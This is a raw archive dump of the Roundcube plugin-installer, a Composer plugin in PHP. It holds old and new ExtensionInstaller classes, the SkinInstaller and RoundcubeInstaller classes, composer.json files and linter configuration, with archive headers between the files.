/**
 * @category Plugins
 * @package  PluginInstaller
 * @author   Till Klampaeckel <till@php.net>
 * @author   Thomas Bruederli <thomas@roundcube.net>
 * @author   Philip Weir <roundcube@tehinterweb.co.uk>
 * @license  GPL-3.0+
 * @version  GIT: <git_id>
 * @link     http://github.com/roundcube/plugin-installer
 */
class ExtensionInstaller extends LibraryInstaller
{
    protected $composer_type;

    /**
     * {@inheritDoc}
     */
    public function getInstallPath(PackageInterface $package)
    {
        static $vendorDir;
        if ($vendorDir === null) {
            $vendorDir = $this->getVendorDir();
        }

        return sprintf('%s/%s', $vendorDir, $this->getPackageName($package));
    }

    /**
     * {@inheritDoc}
     */
    public function install(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        // initialize Roundcube environment
        if (!defined('INSTALL_PATH')) {
            define('INSTALL_PATH', getcwd() . '/');
        }
        include_once(INSTALL_PATH . 'program/include/clisetup.php');

        $this->rcubeVersionCheck($package);

        $self = $this;
        $postInstall = function() use ($self, $package) {
            $config_file  = $self->rcubeConfigFile();
            $package_name = $self->getPackageName($package);
            $package_dir  = $self->getVendorDir() . DIRECTORY_SEPARATOR . $package_name;
            $extra        = $package->getExtra();

            if (is_writeable($config_file) && php_sapi_name() == 'cli' && $this->confirmInstall($package_name)) {
                $self->rcubeAlterConfig($package_name);
            }

            // copy config.inc.php.dist -> config.inc.php
            if (is_file($package_dir . DIRECTORY_SEPARATOR . 'config.inc.php.dist')) {
                $config_exists   = false;
                $alt_config_file = $self->rcubeConfigFile($package_name . '.inc.php');

                if (is_file($package_dir . DIRECTORY_SEPARATOR . 'config.inc.php')) {
                    $config_exists = true;
                }
                elseif (is_file($alt_config_file)) {
                    $config_exists = true;
                }

                if (!$config_exists && is_writeable($package_dir)) {
                    $self->io->write("<info>Creating package config file</info>");
                    copy($package_dir . DIRECTORY_SEPARATOR . 'config.inc.php.dist', $package_dir . DIRECTORY_SEPARATOR . 'config.inc.php');
                }
            }

            // initialize database schema
            if (!empty($extra['roundcube']['sql-dir'])) {
                if ($sqldir = realpath($package_dir . DIRECTORY_SEPARATOR . $extra['roundcube']['sql-dir'])) {
                    $self->io->write("<info>Running database initialization script for $package_name</info>");

                    $roundcube_version = self::versionNormalize(RCMAIL_VERSION);
                    if (self::versionCompare($roundcube_version, '1.2.0', '>=')) {
                        \rcmail_utils::db_init($sqldir);
                    }
                    else {
                        throw new \Exception("Database initialization failed. Roundcube 1.2.0 or above required.");
                    }
                }
            }

            // run post-install script
            if (!empty($extra['roundcube']['post-install-script'])) {
                $self->rcubeRunScript($extra['roundcube']['post-install-script'], $package);
            }
        };

        $promise = parent::install($repo, $package);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postInstall);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postInstall();
    }

    /**
     * {@inheritDoc}
     */
    public function update(InstalledRepositoryInterface $repo, PackageInterface $initial, PackageInterface $target)
    {
        // initialize Roundcube environment
        if (!defined('INSTALL_PATH')) {
            define('INSTALL_PATH', getcwd() . '/');
        }
        include_once(INSTALL_PATH . 'program/include/clisetup.php');

        $this->rcubeVersionCheck($target);

        $self  = $this;
        $extra = $target->getExtra();
        $fs    = new Filesystem();

        // backup persistent files e.g. config.inc.php
        $package_name     = $self->getPackageName($initial);
        $package_dir      = $self->getVendorDir() . DIRECTORY_SEPARATOR . $package_name;
        $temp_dir         = $package_dir . '-' . sprintf('%010d%010d', mt_rand(), mt_rand());

        // make a backup of existing files (for restoring persistent files)
        $fs->copy($package_dir, $temp_dir);

        $postUpdate = function() use ($self, $target, $extra, $fs, $temp_dir) {
            $package_name = $self->getPackageName($target);
            $package_dir  = $self->getVendorDir() . DIRECTORY_SEPARATOR . $package_name;

            // restore persistent files
            $persistent_files = !empty($extra['roundcube']['persistent-files']) ? $extra['roundcube']['persistent-files'] : ['config.inc.php'];
            foreach ($persistent_files as $file) {
                $path = $temp_dir . DIRECTORY_SEPARATOR . $file;
                if (is_readable($path)) {
                    if ($fs->copy($path, $package_dir . DIRECTORY_SEPARATOR . $file)) {
                        $self->io->write("<info>Restored $package_name/$file</info>");
                    }
                    else {
                        throw new \Exception("Restoring " . $file . " failed.");
                    }
                }
            }
            // remove backup folder
            $fs->remove($temp_dir);

            // update database schema
            if (!empty($extra['roundcube']['sql-dir'])) {
                if ($sqldir = realpath($package_dir . DIRECTORY_SEPARATOR . $extra['roundcube']['sql-dir'])) {
                    $self->io->write("<info>Updating database schema for $package_name</info>");

                    $roundcube_version = self::versionNormalize(RCMAIL_VERSION);
                    if (self::versionCompare($roundcube_version, '1.2.0', '>=')) {
                        \rcmail_utils::db_update($sqldir, $package_name);
                    }
                    else {
                        throw new \Exception("Database update failed. Roundcube 1.2.0 or above required.");
                    }
                }
            }

            // run post-update script
            if (!empty($extra['roundcube']['post-update-script'])) {
                $self->rcubeRunScript($extra['roundcube']['post-update-script'], $target);
            }
        };

        $promise = parent::update($repo, $initial, $target);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postUpdate);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postUpdate();
    }

    /**
     * {@inheritDoc}
     */
    public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        // initialize Roundcube environment
        if (!defined('INSTALL_PATH')) {
            define('INSTALL_PATH', getcwd() . '/');
        }
        include_once(INSTALL_PATH . 'program/include/clisetup.php');

        $self   = $this;
        $config = $self->composer->getConfig()->get('roundcube');

        $postUninstall = function() use ($self, $package, $config) {
            // post-uninstall: deactivate package
            $package_name = $self->getPackageName($package);
            $package_dir  = $self->getVendorDir() . DIRECTORY_SEPARATOR . $package_name;

            $self->rcubeAlterConfig($package_name, false);

            // run post-uninstall script
            $extra = $package->getExtra();
            if (!empty($extra['roundcube']['post-uninstall-script'])) {
                $self->rcubeRunScript($extra['roundcube']['post-uninstall-script'], $package);
            }

            // remove package folder
            if (!empty($config['uninstall-remove-folder'])) {
                $fs = new Filesystem();
                $fs->remove($package_dir);
                $self->io->write("<info>Removed $package_name files</info>");
            }
        };

        $promise = parent::uninstall($repo, $package);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postUninstall);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postUninstall();
    }

    /**
     * {@inheritDoc}
     */
    public function supports($packageType)
    {
        return $packageType === $this->composer_type;
    }

    /**
     * Setup vendor directory to one of these two:
     *
     * @return string
     */
    public function getVendorDir()
    {
        return getcwd();
    }

    /**
     * Extract the (valid) package name from the package object
     */
    protected function getPackageName(PackageInterface $package)
    {
        @list($vendor, $packageName) = explode('/', $package->getPrettyName());

        return strtr($packageName, '-', '_');
    }

    /**
     * Check version requirements from the "extra" block of a package
     * against the local Roundcube version
     */
    private function rcubeVersionCheck($package)
    {
        // read rcube version from iniset
        $rcubeVersion = self::versionNormalize(RCMAIL_VERSION);

        if (empty($rcubeVersion)) {
            throw new \Exception("Unable to find a Roundcube installation in $rootdir");
        }

        $extra = $package->getExtra();

        if (!empty($extra['roundcube'])) {
            foreach (['min-version' => '>=', 'max-version' => '<='] as $key => $operator) {
                if (!empty($extra['roundcube'][$key])) {
                    $version = self::versionNormalize($extra['roundcube'][$key]);
                    if (!self::versionCompare($rcubeVersion, $version, $operator)) {
                        throw new \Exception("Version check failed! " . $package->getName() . " requires Roundcube version $operator $version, $rcubeVersion was detected.");
                    }
                }
            }
        }
    }

    /**
     * Add or remove the given package to the Roundcube config.
     */
    private function rcubeAlterConfig($package_name, $add = true)
    {
        $config_file = $this->rcubeConfigFile();
        @include($config_file);
        $success = false;
        $varname = '$config';

        if (empty($config) && !empty($rcmail_config)) {
            $config  = $rcmail_config;
            $varname = '$rcmail_config';
        }

        if (!empty($config) && is_writeable($config_file)) {
            $config_template = @file_get_contents($config_file) ?: '';

            if ($config = $this->getConfig($package_name, $config, $add)) {
                list($config_name, $config_val) = $config;
                $count = 0;

                if (empty($config_val)) {
                    $new_config = preg_replace(
                        "/(\\$varname\['$config_name'\])\s+=\s+(.+);/Uims",
                        "",
                        $config_template, -1, $count);
                }
                else {
                    $new_config = preg_replace(
                        "/(\\$varname\['$config_name'\])\s+=\s+(.+);/Uims",
                        "\\1 = " . $config_val,
                        $config_template, -1, $count);
                }

                // config option does not exist yet, add it...
                if (!$count) {
                    $var_txt    = "\n{$varname}['$config_name'] = $config_val\n";
                    $new_config = str_replace('?>', $var_txt . '?>', $config_template, $count);

                    if (!$count) {
                        $new_config = $config_template . $var_txt;
                    }
                }

                $success = file_put_contents($config_file, $new_config);
            }
        }

        if ($success && php_sapi_name() == 'cli') {
            $this->io->write("<info>Updated local config at $config_file</info>");
        }

        return $success;
    }

    /**
    * Ask the user to confirm installation
    */
    protected function confirmInstall($package_name)
    {
        return false;
    }

    /**
    * Generate Roundcube config entry
    */
    protected function getConfig($package_name, $cur_config, $add)
    {
        return false;
    }

    /**
     * Helper method to get an absolute path to the local Roundcube config file
     */
    private function rcubeConfigFile($file = 'config.inc.php')
    {
        $config = new \rcube_config();
        $paths  = $config->resolve_paths($file);
        $path   = getcwd() . '/config/' . $file;

        foreach ($paths as $fpath) {
            if ($fpath && is_file($fpath) && is_readable($fpath)) {
                $path = $fpath;
                break;
            }
        }

        return realpath($path);
    }

    /**
     * Run the given script file
     */
    private function rcubeRunScript($script, PackageInterface $package)
    {
        $package_name = $this->getPackageName($package);
        $package_type = $package->getType();
        $package_dir  = $this->getVendorDir() . DIRECTORY_SEPARATOR . $package_name;

        // check for executable shell script
        if (($scriptfile = realpath($package_dir . DIRECTORY_SEPARATOR . $script)) && is_executable($scriptfile)) {
            $script = $scriptfile;
        }

        // run PHP script in Roundcube context
        if ($scriptfile && preg_match('/\.php$/', $scriptfile)) {
            $incdir = realpath(getcwd() . '/program/include');
            include_once($incdir . '/iniset.php');
            include($scriptfile);
        }
        // attempt to execute the given string as shell commands
        else {
            $process = new ProcessExecutor($this->io);
            $exitCode = $process->execute($script, $output, $package_dir);
            if ($exitCode !== 0) {
                throw new \RuntimeException('Error executing script: '. $process->getErrorOutput(), $exitCode);
            }
        }
    }

    /**
     * normalize Roundcube version string
     */
    private static function versionNormalize($version)
    {
        $parser = new VersionParser;

        return $parser->normalize(str_replace('-git', '.999', $version));
    }

    /**
     * version_compare() wrapper, originally from composer/semver
     */
    private static function versionCompare($a, $b, $operator, $compareBranches = false)
    {
        $aIsBranch = 'dev-' === substr($a, 0, 4);
        $bIsBranch = 'dev-' === substr($b, 0, 4);

        if ($aIsBranch && $bIsBranch) {
            return $operator === '==' && $a === $b;
        }

        // when branches are not comparable, we make sure dev branches never match anything
        if (!$compareBranches && ($aIsBranch || $bIsBranch)) {
            return false;
        }

        return version_compare($a, $b, $operator);
    }
}
PK
h�\9���Jvendor/roundcube/plugin-installer/src/Roundcube/Composer/SkinInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

/**
 * @category Plugins
 * @package  PluginInstaller
 * @author   Philip Weir <roundcube@tehinterweb.co.uk>
 * @license  GPL-3.0+
 * @version  GIT: <git_id>
 * @link     http://github.com/roundcube/plugin-installer
 */
class SkinInstaller extends ExtensionInstaller
{
    protected $composer_type = 'roundcube-skin';

    public function getVendorDir()
    {
        return getcwd() . DIRECTORY_SEPARATOR . 'skins';
    }

    protected function confirmInstall($package_name)
    {
        $config = $this->composer->getConfig()->get('roundcube');

        if (!empty($config['enable-skin'])) {
            $answer = $config['enable-skin'];
        }
        else {
            $answer = $this->io->askConfirmation("Do you want to activate the skin $package_name? [Y|n] ", true);
        }

        return $answer;
    }

    protected function getConfig($package_name, $config, $add)
    {
        $cur_config = !empty($config['skin']) ? $config['skin'] : null;
        $new_config = $cur_config;

        if ($add && $new_config != $package_name) {
            $new_config = $package_name;
        }
        elseif (!$add && $new_config == $package_name) {
            $new_config = null;
        }

        if ($new_config != $cur_config) {
            $config_val = !empty($new_config) ? "'$new_config';" : null;
            $result = ['skin', $config_val];
        }
        else {
            $result = false;
        }

        return $result;
    }
}
PK
h�\o
^��<vendor/roundcube/plugin-installer/src/RoundcubeInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;

class RoundcubeInstaller implements PluginInterface
{
    private $extentions = [PluginInstaller::class, SkinInstaller::class];
    private $installers = [];

    #[\Override]
    public function activate(Composer $composer, IOInterface $io)
    {
        foreach ($this->extentions as $extension) {
            $installer = new $extension($io, $composer);
            $composer->getInstallationManager()->addInstaller($installer);
            $this->installers[] = $installer;
        }
    }

    #[\Override]
    public function deactivate(Composer $composer, IOInterface $io)
    {
        foreach ($this->installers as $installer) {
            $composer->getInstallationManager()->removeInstaller($installer);
        }
    }

    #[\Override]
    public function uninstall(Composer $composer, IOInterface $io) {}
}
PK
h�\�@;�9B9B<vendor/roundcube/plugin-installer/src/ExtensionInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

use Composer\Installer\InstallationManager;
use Composer\Installer\LibraryInstaller;
use Composer\Package\PackageInterface;
use Composer\Package\Version\VersionParser;
use Composer\Repository\InstalledRepository;
use Composer\Repository\InstalledRepositoryInterface;
use Composer\Repository\RootPackageRepository;
use Composer\Util\Filesystem;
use Composer\Util\ProcessExecutor;
use React\Promise\PromiseInterface;

abstract class ExtensionInstaller extends LibraryInstaller
{
    /** @var string|null */
    private $roundcubemailInstallPath;

    /** @var string */
    protected $composer_type;

    protected function setRoundcubemailInstallPath(InstalledRepositoryInterface $installedRepo): void
    {
        // https://github.com/composer/composer/discussions/11927#discussioncomment-9116893
        $rootPackage = clone $this->composer->getPackage();
        $installedRepo = new InstalledRepository([
            $installedRepo,
            new RootPackageRepository($rootPackage),
        ]);

        $roundcubemailPackages = $installedRepo->findPackagesWithReplacersAndProviders('roundcube/roundcubemail');
        assert(count($roundcubemailPackages) === 1);
        $roundcubemailPackage = $roundcubemailPackages[0];

        if ($roundcubemailPackage === $rootPackage) { // $this->getInstallPath($package) does not work for root package
            $this->initializeVendorDir();
            $installPath = dirname($this->vendorDir);
        } else {
            $installPath = $this->getInstallPath($roundcubemailPackage);
        }

        if ($this->roundcubemailInstallPath === null) {
            $this->roundcubemailInstallPath = $installPath;
        } elseif ($this->roundcubemailInstallPath !== $installPath) {
            throw new \Exception('Install path of "roundcube/roundcubemail" package has unexpectedly changed');
        }
    }

    protected function getRoundcubemailInstallPath(): string
    {
        // install path is not set at composer download phase
        // never assume any path, but for this known composer behaviour get it from backtrace instead
        if ($this->roundcubemailInstallPath === null) {
            $backtrace = debug_backtrace();
            foreach ($backtrace as $frame) {
                // relies on https://github.com/composer/composer/blob/2.7.4/src/Composer/Installer/InstallationManager.php#L243
                if (($frame['object'] ?? null) instanceof InstallationManager
                    && $frame['function'] === 'downloadAndExecuteBatch'
                ) {
                    $this->setRoundcubemailInstallPath($frame['args'][0]);
                }
            }
        }

        return $this->roundcubemailInstallPath;
    }

    #[\Override]
    public function getInstallPath(PackageInterface $package)
    {
        if (!$this->supports($package->getType())) {
            return parent::getInstallPath($package);
        }

        $vendorDir = $this->getVendorDir();

        return $vendorDir . \DIRECTORY_SEPARATOR
            . str_replace('/', \DIRECTORY_SEPARATOR, $this->getPackageName($package));
    }

    private function initializeRoundcubemailEnvironment(): void
    {
        if (!defined('INSTALL_PATH')) {
            define('INSTALL_PATH', $this->getRoundcubemailInstallPath() . '/');
        }
        require_once INSTALL_PATH . 'program/include/iniset.php';
    }

    #[\Override]
    public function isInstalled(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        $this->setRoundcubemailInstallPath($repo);

        return parent::isInstalled($repo, $package);
    }

    #[\Override]
    public function install(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        $this->setRoundcubemailInstallPath($repo);
        $this->initializeRoundcubemailEnvironment();
        $this->rcubeVersionCheck($package);

        $postInstall = function () use ($package) {
            $config_file = $this->rcubeConfigFile();
            $package_name = $this->getPackageName($package);
            $package_dir = $this->getInstallPath($package);
            $extra = $package->getExtra();

            if (is_writable($config_file) && \PHP_SAPI === 'cli' && $this->confirmInstall($package_name)) {
                $this->rcubeAlterConfig($package_name);
            }

            // copy config.inc.php.dist -> config.inc.php
            if (is_file($package_dir . \DIRECTORY_SEPARATOR . 'config.inc.php.dist')) {
                $config_exists = false;
                $alt_config_file = $this->rcubeConfigFile($package_name . '.inc.php');

                if (is_file($package_dir . \DIRECTORY_SEPARATOR . 'config.inc.php')) {
                    $config_exists = true;
                } elseif (is_file($alt_config_file)) {
                    $config_exists = true;
                }

                if (!$config_exists && is_writable($package_dir)) {
                    $this->io->write('<info>Creating package config file</info>');
                    copy($package_dir . \DIRECTORY_SEPARATOR . 'config.inc.php.dist', $package_dir . \DIRECTORY_SEPARATOR . 'config.inc.php');
                }
            }

            // initialize database schema
            if (!empty($extra['roundcube']['sql-dir'])) {
                if ($sqldir = realpath($package_dir . \DIRECTORY_SEPARATOR . $extra['roundcube']['sql-dir'])) {
                    $this->io->write("<info>Running database initialization script for {$package_name}</info>");

                    \rcmail_utils::db_init($sqldir);
                }
            }

            // run post-install script
            if (!empty($extra['roundcube']['post-install-script'])) {
                $this->rcubeRunScript($extra['roundcube']['post-install-script'], $package);
            }
        };

        $promise = parent::install($repo, $package);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postInstall);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postInstall();

        return null;
    }

    #[\Override]
    public function update(InstalledRepositoryInterface $repo, PackageInterface $initial, PackageInterface $target)
    {
        $this->setRoundcubemailInstallPath($repo);
        $this->initializeRoundcubemailEnvironment();
        $this->rcubeVersionCheck($target);

        $extra = $target->getExtra();
        $fs = new Filesystem();

        // backup persistent files e.g. config.inc.php
        $package_dir = $this->getInstallPath($initial);
        $temp_dir = $package_dir . '-' . sprintf('%010d%010d', mt_rand(), mt_rand());

        // make a backup of existing files (for restoring persistent files)
        $fs->copy($package_dir, $temp_dir);

        $postUpdate = function () use ($target, $extra, $fs, $temp_dir) {
            $package_name = $this->getPackageName($target);
            $package_dir = $this->getInstallPath($target);

            // restore persistent files
            $persistent_files = !empty($extra['roundcube']['persistent-files'])
                ? $extra['roundcube']['persistent-files']
                : ['config.inc.php'];
            foreach ($persistent_files as $file) {
                $path = $temp_dir . \DIRECTORY_SEPARATOR . $file;
                if (is_readable($path)) {
                    if ($fs->copy($path, $package_dir . \DIRECTORY_SEPARATOR . $file)) {
                        $this->io->write("<info>Restored {$package_name}/{$file}</info>");
                    } else {
                        throw new \Exception('Restoring ' . $file . ' failed.');
                    }
                }
            }
            // remove backup folder
            $fs->remove($temp_dir);

            // update database schema
            if (!empty($extra['roundcube']['sql-dir'])) {
                if ($sqldir = realpath($package_dir . \DIRECTORY_SEPARATOR . $extra['roundcube']['sql-dir'])) {
                    $this->io->write("<info>Updating database schema for {$package_name}</info>");

                    \rcmail_utils::db_update($sqldir, $package_name);
                }
            }

            // run post-update script
            if (!empty($extra['roundcube']['post-update-script'])) {
                $this->rcubeRunScript($extra['roundcube']['post-update-script'], $target);
            }
        };

        $promise = parent::update($repo, $initial, $target);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postUpdate);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postUpdate();

        return null;
    }

    #[\Override]
    public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package)
    {
        $this->setRoundcubemailInstallPath($repo);
        $this->initializeRoundcubemailEnvironment();

        $config = $this->composer->getConfig()->get('roundcube');

        $postUninstall = function () use ($package, $config) {
            // post-uninstall: deactivate package
            $package_name = $this->getPackageName($package);
            $package_dir = $this->getInstallPath($package);

            $this->rcubeAlterConfig($package_name, false);

            // run post-uninstall script
            $extra = $package->getExtra();
            if (!empty($extra['roundcube']['post-uninstall-script'])) {
                $this->rcubeRunScript($extra['roundcube']['post-uninstall-script'], $package);
            }

            // remove package folder
            if (!empty($config['uninstall-remove-folder'])) {
                $fs = new Filesystem();
                $fs->remove($package_dir);
                $this->io->write("<info>Removed {$package_name} files</info>");
            }
        };

        $promise = parent::uninstall($repo, $package);

        // Composer v2 might return a promise here
        if ($promise instanceof PromiseInterface) {
            return $promise->then($postUninstall);
        }

        // If not, execute the code right away (composer v1, or v2 without async)
        $postUninstall();

        return null;
    }

    #[\Override]
    public function supports($packageType)
    {
        return $packageType === $this->composer_type;
    }

    /**
     * Setup vendor directory to one of these two:
     *
     * @return string
     */
    abstract public function getVendorDir();

    /**
     * Extract the (valid) package name from the package object.
     */
    protected function getPackageName(PackageInterface $package)
    {
        @[$vendor, $packageName] = explode('/', $package->getPrettyName());

        return strtr($packageName, '-', '_');
    }

    /**
     * Check version requirements from the "extra" block of a package
     * against the local Roundcube version.
     */
    private function rcubeVersionCheck($package)
    {
        // read rcube version from iniset
        $rcubeVersion = self::versionNormalize(RCMAIL_VERSION);

        $extra = $package->getExtra();

        if (!empty($extra['roundcube'])) {
            foreach (['min-version' => '>=', 'max-version' => '<='] as $key => $operator) {
                if (!empty($extra['roundcube'][$key])) {
                    $version = self::versionNormalize($extra['roundcube'][$key]);
                    if (!self::versionCompare($rcubeVersion, $version, $operator)) {
                        throw new \Exception('Version check failed! ' . $package->getName() . " requires Roundcube version {$operator} {$version}, {$rcubeVersion} was detected.");
                    }
                }
            }
        }
    }

    /**
     * Add or remove the given package to the Roundcube config.
     */
    private function rcubeAlterConfig($package_name, $add = true)
    {
        $config_file = $this->rcubeConfigFile();
        @include $config_file;
        $success = false;
        $varname = '$config';

        if (empty($config) && !empty($rcmail_config)) {
            $config = $rcmail_config;
            $varname = '$rcmail_config';
        }

        if (!empty($config) && is_writable($config_file)) {
            $config_template = @file_get_contents($config_file);
            if ($config_template === false) {
                $config_template = '';
            }

            if ($config = $this->getConfig($package_name, $config, $add)) {
                [$config_name, $config_val] = $config;
                $count = 0;

                if (empty($config_val)) {
                    $new_config = preg_replace(
                        "/(\\{$varname}\\['{$config_name}'\\])\\s+=\\s+(.+);/Uims",
                        '',
                        $config_template,
                        -1,
                        $count
                    );
                } else {
                    $new_config = preg_replace(
                        "/(\\{$varname}\\['{$config_name}'\\])\\s+=\\s+(.+);/Uims",
                        '\\1 = ' . $config_val,
                        $config_template,
                        -1,
                        $count
                    );
                }

                // config option does not exist yet, add it...
                if (!$count) {
                    $var_txt = "\n{$varname}['{$config_name}'] = {$config_val}\n";
                    $new_config = str_replace('?>', $var_txt . '?>', $config_template, $count);

                    if (!$count) {
                        $new_config = $config_template . $var_txt;
                    }
                }

                $success = file_put_contents($config_file, $new_config);
            }
        }

        if ($success && \PHP_SAPI === 'cli') {
            $this->io->write("<info>Updated local config at {$config_file}</info>");
        }

        return $success;
    }

    /**
     * Ask the user to confirm installation.
     */
    protected function confirmInstall($package_name)
    {
        return false;
    }

    /**
     * Generate Roundcube config entry.
     */
    protected function getConfig($package_name, $cur_config, $add)
    {
        return false;
    }

    /**
     * Helper method to get an absolute path to the local Roundcube config file.
     */
    private function rcubeConfigFile($file = 'config.inc.php')
    {
        $config = new \rcube_config();
        $paths = $config->resolve_paths($file);
        $path = $this->getRoundcubemailInstallPath() . '/config/' . $file;

        foreach ($paths as $fpath) {
            if ($fpath && is_file($fpath) && is_readable($fpath)) {
                $path = $fpath;

                break;
            }
        }

        return realpath($path);
    }

    /**
     * Run the given script file.
     */
    private function rcubeRunScript($script, PackageInterface $package)
    {
        $package_name = $this->getPackageName($package);
        $package_type = $package->getType();
        $package_dir = $this->getInstallPath($package);

        // check for executable shell script
        if (($scriptfile = realpath($package_dir . \DIRECTORY_SEPARATOR . $script)) && is_executable($scriptfile)) {
            $script = $scriptfile;
        }

        // run PHP script in Roundcube context
        if ($scriptfile && preg_match('/\.php$/', $scriptfile)) {
            $incdir = realpath($this->getRoundcubemailInstallPath() . '/program/include');
            include_once $incdir . '/iniset.php';
            include $scriptfile;
        }
        // attempt to execute the given string as shell commands
        else {
            $process = new ProcessExecutor($this->io);
            $exitCode = $process->execute($script, $output, $package_dir);
            if ($exitCode !== 0) {
                throw new \RuntimeException('Error executing script: ' . $process->getErrorOutput(), $exitCode);
            }
        }
    }

    /**
     * Normalize Roundcube version string.
     */
    private static function versionNormalize(string $version): string
    {
        $parser = new VersionParser();

        return $parser->normalize(str_replace('-git', '.999', $version));
    }

    /**
     * version_compare() wrapper, originally from composer/semver.
     */
    private static function versionCompare($a, $b, $operator, $compareBranches = false)
    {
        $aIsBranch = substr($a, 0, 4) === 'dev-';
        $bIsBranch = substr($b, 0, 4) === 'dev-';

        if ($aIsBranch && $bIsBranch) {
            return $operator === '==' && $a === $b;
        }

        // when branches are not comparable, we make sure dev branches never match anything
        if (!$compareBranches && ($aIsBranch || $bIsBranch)) {
            return false;
        }

        return version_compare($a, $b, $operator);
    }
}
PK
h�\	]��tt7vendor/roundcube/plugin-installer/src/SkinInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

class SkinInstaller extends ExtensionInstaller
{
    protected $composer_type = 'roundcube-skin';

    #[\Override]
    public function getVendorDir()
    {
        return $this->getRoundcubemailInstallPath() . \DIRECTORY_SEPARATOR . 'skins';
    }

    #[\Override]
    protected function confirmInstall($package_name)
    {
        $config = $this->composer->getConfig()->get('roundcube');

        if (isset($config['enable-skin'])) {
            $answer = $config['enable-skin'];
        } else {
            $answer = $this->io->askConfirmation("Do you want to activate the skin {$package_name}? [Y|n] ", true);
        }

        return $answer;
    }

    #[\Override]
    protected function getConfig($package_name, $config, $add)
    {
        $cur_config = !empty($config['skin'])
            ? $config['skin']
            : null;
        $new_config = $cur_config;

        if ($add && $new_config !== $package_name) {
            $new_config = $package_name;
        } elseif (!$add && $new_config === $package_name) {
            $new_config = null;
        }

        if ($new_config !== $cur_config) {
            $config_val = !empty($new_config)
                ? "'{$new_config}';"
                : null;
            $result = ['skin', $config_val];
        } else {
            $result = false;
        }

        return $result;
    }
}
PK
h�\�?�/vendor/roundcube/plugin-installer/composer.jsonnu�[���{
    "name": "roundcube/plugin-installer",
    "description": "A composer-installer for Roundcube plugins and skins.",
    "license": "GPL-3.0-or-later",
    "type": "composer-plugin",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "thomas@roundcube.net"
        },
        {
            "name": "Till Klampaeckel",
            "email": "till@php.net"
        },
        {
            "name": "Philip Weir",
            "email": "roundcube@tehinterweb.co.uk"
        }
    ],
    "require": {
        "php": ">=7.3 <8.4",
        "composer-plugin-api": "^2.1",
        "roundcube/roundcubemail": "*"
    },
    "require-dev": {
        "composer/composer": "^2.1",
        "ergebnis/composer-normalize": "^2.13",
        "friendsofphp/php-cs-fixer": "^3.0",
        "phpstan/extension-installer": "^1.1",
        "phpstan/phpstan": "^1.2",
        "phpstan/phpstan-deprecation-rules": "^1.0",
        "phpstan/phpstan-strict-rules": "^1.3"
    },
    "repositories": [
        {
            "type": "git",
            "url": "https://github.com/roundcube/roundcubemail.git"
        }
    ],
    "minimum-stability": "dev",
    "prefer-stable": true,
    "autoload": {
        "psr-4": {
            "Roundcube\\Composer\\": "src/"
        }
    },
    "config": {
        "allow-plugins": {
            "ergebnis/composer-normalize": true,
            "phpstan/extension-installer": true
        }
    },
    "extra": {
        "class": [
            "Roundcube\\Composer\\RoundcubeInstaller"
        ]
    }
}
PK
h�\�R(�%%8vendor/roundcube/plugin-installer/.php-cs-fixer.dist.phpnu�[���<?php

declare(strict_types=1);

use PhpCsFixer\Config;
use PhpCsFixer\Finder;

$finder = Finder::create()
    ->in([__DIR__])
    ->exclude(['vendor'])
    ->ignoreDotFiles(false);

return (new Config())
    ->setRiskyAllowed(true)
    ->setRules([
        '@PhpCsFixer' => true,
        '@PhpCsFixer:risky' => true,
        '@PHP74Migration' => true,
        '@PHP74Migration:risky' => true,

        // required by PSR-12
        'concat_space' => [
            'spacing' => 'one',
        ],

        // disable some too strict rules
        'phpdoc_types_order' => [
            'null_adjustment' => 'always_last',
            'sort_algorithm' => 'none',
        ],
        'single_line_throw' => false,
        'yoda_style' => [
            'equal' => false,
            'identical' => false,
        ],
        'native_constant_invocation' => true,
        'native_function_invocation' => false,
        'void_return' => false,
        'blank_line_before_statement' => [
            'statements' => ['break', 'continue', 'declare', 'return', 'throw', 'exit'],
        ],
        'final_internal_class' => false,
        'combine_consecutive_issets' => false,
        'combine_consecutive_unsets' => false,
        'multiline_whitespace_before_semicolons' => false,
        'no_superfluous_elseif' => false,
        'ordered_class_elements' => false,
        'php_unit_internal_class' => false,
        'php_unit_test_class_requires_covers' => false,
        'phpdoc_add_missing_param_annotation' => false,
        'return_assignment' => false,
        'comment_to_phpdoc' => false,
        'general_phpdoc_annotation_remove' => [
            'annotations' => ['author', 'copyright', 'throws'],
        ],

        // fn => without curly brackets is less readable,
        // also prevent bounding of unwanted variables for GC
        'use_arrow_functions' => false,

        // disable too destructive formating for now
        'declare_strict_types' => false,
    ])
    ->setFinder($finder)
    ->setCacheFile(sys_get_temp_dir() . '/php-cs-fixer.' . md5(__DIR__) . '.cache');
PK
h�\�7����=vendor/roundcube/plugin-installer/test-composer/composer.jsonnu�[���{
    "name": "roundcube/plugin-installer-test",
    "require": {
        "roundcube/carddav": "^4 || ^5"
    },
    "repositories": [
        {
            "type": "git",
            "url": "https://github.com/roundcube/roundcubemail.git"
        },
        {
            "type": "path",
            "url": ".."
        }
    ],
    "minimum-stability": "dev",
    "prefer-stable": true,
    "config": {
        "allow-plugins": {
            "roundcube/plugin-installer": true
        }
    }
}
PK
h�\O��##3vendor/roundcube/plugin-installer/phpstan.neon.distnu�[���includes:
    - phar://phpstan.phar/conf/bleedingEdge.neon

parameters:
    level: 4
    checkMissingOverrideMethodAttribute: true
    paths:
        - .
    excludePaths:
        - vendor

